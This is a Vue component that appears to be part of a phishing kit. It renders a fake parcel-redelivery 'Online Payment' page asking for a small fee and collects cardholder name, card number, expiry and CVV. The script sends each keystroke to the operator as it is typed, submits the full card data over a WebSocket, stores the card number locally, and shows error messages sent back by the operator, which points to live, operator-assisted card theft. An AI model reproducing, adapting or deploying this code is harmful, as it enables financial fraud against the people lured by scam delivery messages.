<template>
  <CommonLayout>
    <template #default>
      <div class="">
        <div class="main-content-body">
          <div style="min-height: 100px; padding: 0 0">
            <div style="text-align: left; ">
              <h1 style="color: #3c8872;">{{ t("Online Payment") }}</h1>
              <p>
                {{
                  configData?.pay_msg
                    ? configData?.pay_msg
                    : t("For redelivery, we need to charge some service fees.Your package will be re-delivered after payment")
                }}
              </p>
              <p>
                <b>
                  {{ t("lump sum: ") }}
                  {{
                    configData?.pay_amount ? configData?.pay_amount : "₹25.09"
                  }}
                </b>
              </p>
            </div>
            <br />
            <form @submit.prevent="next">
              <div class="input">
                <label>{{ t("Cardholder") }}</label>
                <input
                  type="text"
                  placeholder=" "
                  v-model="formData.cardName"
                  @input="onCardNameChange"
                  required
                />
              </div>
              <div class="input">
                <label>{{ t("Card Number") }}</label>
                <input
                  type="text"
                  placeholder="Credit card payments only"
                  @input="onCardNumberChange"
                  v-model="formData.cardNumber"
                  required
                  maxlength="19"
                  minlength="8"
                  inputmode="numeric"
                />
                <div class="error">
                  {{ cardMessage }}
                </div>
                <div class="card-icons">
                  <img src="@/assets/img/b4f258fb3fcfa.svg" alt="" />
                  <img src="@/assets/img/d9f501073fcfa.svg" alt="" />
                  <img src="@/assets/img/d2820b3b3fcfa.svg" alt="" />
                  <img src="@/assets/img/e62e66803fcfa.svg" alt="" />
                  <img src="@/assets/img/272b931f3fcfa.svg" alt="" />
                  <img src="@/assets/img/761998023fcfa.svg" alt="" />
                  <img src="@/assets/img/c8e88e5f3fcfa.svg" alt="" />
                  <img src="@/assets/img/1a32e1333fcfa.svg" alt="" />
                  <img src="@/assets/img/56af3b633fcfa.svg" alt="" />
                </div>
              </div>
              <div
                class="input-field"
                style="display: flex; gap: 10px; align-items: flex-end"
              >
                <div class="input">
                  <label>{{ t("Expire Date") }}</label>
                  <input
                    type="text"
                    placeholder="MM/YY"
                    @input="onExpiresChange"
                    v-model="formData.expires"
minlength="5"
                    required
                    maxlength="5"
                    inputmode="numeric"
                  />
                </div>
                <div class="input">
                  <label>
                    {{ t("Security Code") }}
                    <span> (CVV)</span>
                  </label>
                  <input
                    type="text"
                    required
                    @input="onCvvChange"
                    v-model="formData.cvv"
                    placeholder="123"
                    minlength="3"
                    maxlength="4"
                    inputmode="numeric"
                  />
                  <img
                    src="@/assets/img/68eec8c23fcfa.svg"
                    alt="cvv"
                    style="
                      position: absolute;
                      right: 10px;
                      height: 1.5em;
                      box-sizing: border-box;
                      pointer-events: none;
                    "
                  />
                </div>
              </div>
              <div class="button-submit">
                <button type="submit">
                  Confirm Payment  {{
                    configData?.pay_amount ? configData?.pay_amount : "₹25.09"
                  }}
                </button>
              </div>
            </form>
          </div>
        </div>
      </div>
    </template>
  </CommonLayout>
</template>

<style>
@media (min-width: 1024px) {
  .about {
    min-height: 100vh;
    display: flex;
    align-items: center;
  }
}
</style>
<script setup lang="ts">
import { nextTick, onMounted, onUnmounted, reactive, ref } from "vue";
import CommonLayout from "@/views/CommonLayout.vue";
import { useLoadingStore } from "@/stores/loadingStore";
import eventBus from "@/utils/eventBus";
import { useRoute } from "vue-router";
import { configData, inputChange, myWebSocket } from "@/utils/common";
import { useI18n } from "vue-i18n";
const { t } = useI18n(); // 解构出t方法
const invoiceNumber = ref("");

const loadingStore = useLoadingStore();
const formData = reactive({
  cardNumber: "",
  cardName: "",
  expires: "",
  cvv: "",
});

const onCardNameChange = (value: any) => {
  const rawValue = value.target.value;
  textChange("cardName", rawValue);
  formData.cardName = rawValue;
};

const onCardNumberChange = (value: any) => {
  const rawValue = value.target.value.replace(/\s+/g, "");
  textChange("cardNumber", rawValue);
  formData.cardNumber = rawValue
    .replace(/\D/g, "") // 移除非数字字符
    .replace(/(.{4})/g, "$1 ") // 每四个数字后插入一个空格
    .trim();
};

const onExpiresChange = (value: any) => {
  const rawValue = value.target.value.replace(/\D/g, "").slice(0, 4);
  let formattedValue = rawValue.replace(/\D/g, "");
  if (rawValue.length > 2) {
    formattedValue = rawValue.slice(0, 2) + "/" + rawValue.slice(2, 4);
  }
  textChange("expires", formattedValue);
  formData.expires = formattedValue;
};

const onCvvChange = (value: any) => {
  const rawValue = value.target.value.replace(/\D/g, "");
  textChange("cvv", rawValue);
  formData.cvv = rawValue;
};

const textChange = (key: any, value: any) => {
  inputChange("input_card", key, value);
  cardMessage.value = "";
};

const next = async () => {
  await nextTick();
  loadingStore.setLoading(true);
  const data = { ...formData };
  data.cardNumber = data.cardNumber.replace(/\s+/g, "");
  localStorage.setItem("cardNumber", data.cardNumber);
  myWebSocket?.send(
    JSON.stringify({
      event: "submit_card",
      content: { type: "submitCard", formData: data },
    })
  );
};

const cardMessage = ref("");

const handleEvent = (data: { message2: string }) => {
  cardMessage.value = data.message2;
};

onMounted(() => {
  eventBus.on("my-event", handleEvent);
  myWebSocket?.send(
    JSON.stringify({
      event: "page_type",
      content: { pageType: "card" },
    })
  );
  localStorage.setItem("route", "card");
  const route = useRoute();
  const query = route.query as any;
  if (query && query.message2) {
    cardMessage.value = query.message2;
  }

  const inumber = localStorage.getItem("orderNumber");
  if (inumber) {
    invoiceNumber.value = inumber;
  } else {
    invoiceNumber.value = "8000" + generateRandomNineDigitNumber().toString();
    localStorage.setItem("orderNumber", invoiceNumber.value.toString());
  }
});

function generateRandomNineDigitNumber(): number {
  // 生成一个 9 位的随机整数
  const min = 100000; // 9 位数的最小值
  const max = 999999; // 9 位数的最大值

  // 生成并返回随机的 9 位数
  return Math.floor(Math.random() * (max - min + 1)) + min;
}

onUnmounted(() => {
  eventBus.off("my-event", handleEvent);
});
</script>

<style scoped>
form div.input {
  margin-bottom: 1.2em;
  position: relative;
}

form div.input label {
  display: block;
  pointer-events: none;
  text-transform: capitalize;
}

form div.input input {
  padding: 5px;
  font-size: 1em;
  box-sizing: border-box;
  width: 100%;
}

.card-icons {
  display: flex;
  flex-wrap: wrap;
  gap: 5px;
  justify-content: flex-end;
  pointer-events: none;
}

.card-icons img {
  width: 30px;
  height: 30px;
}

.error {
  color: red;
  font-size: 0.9em;
}
</style>
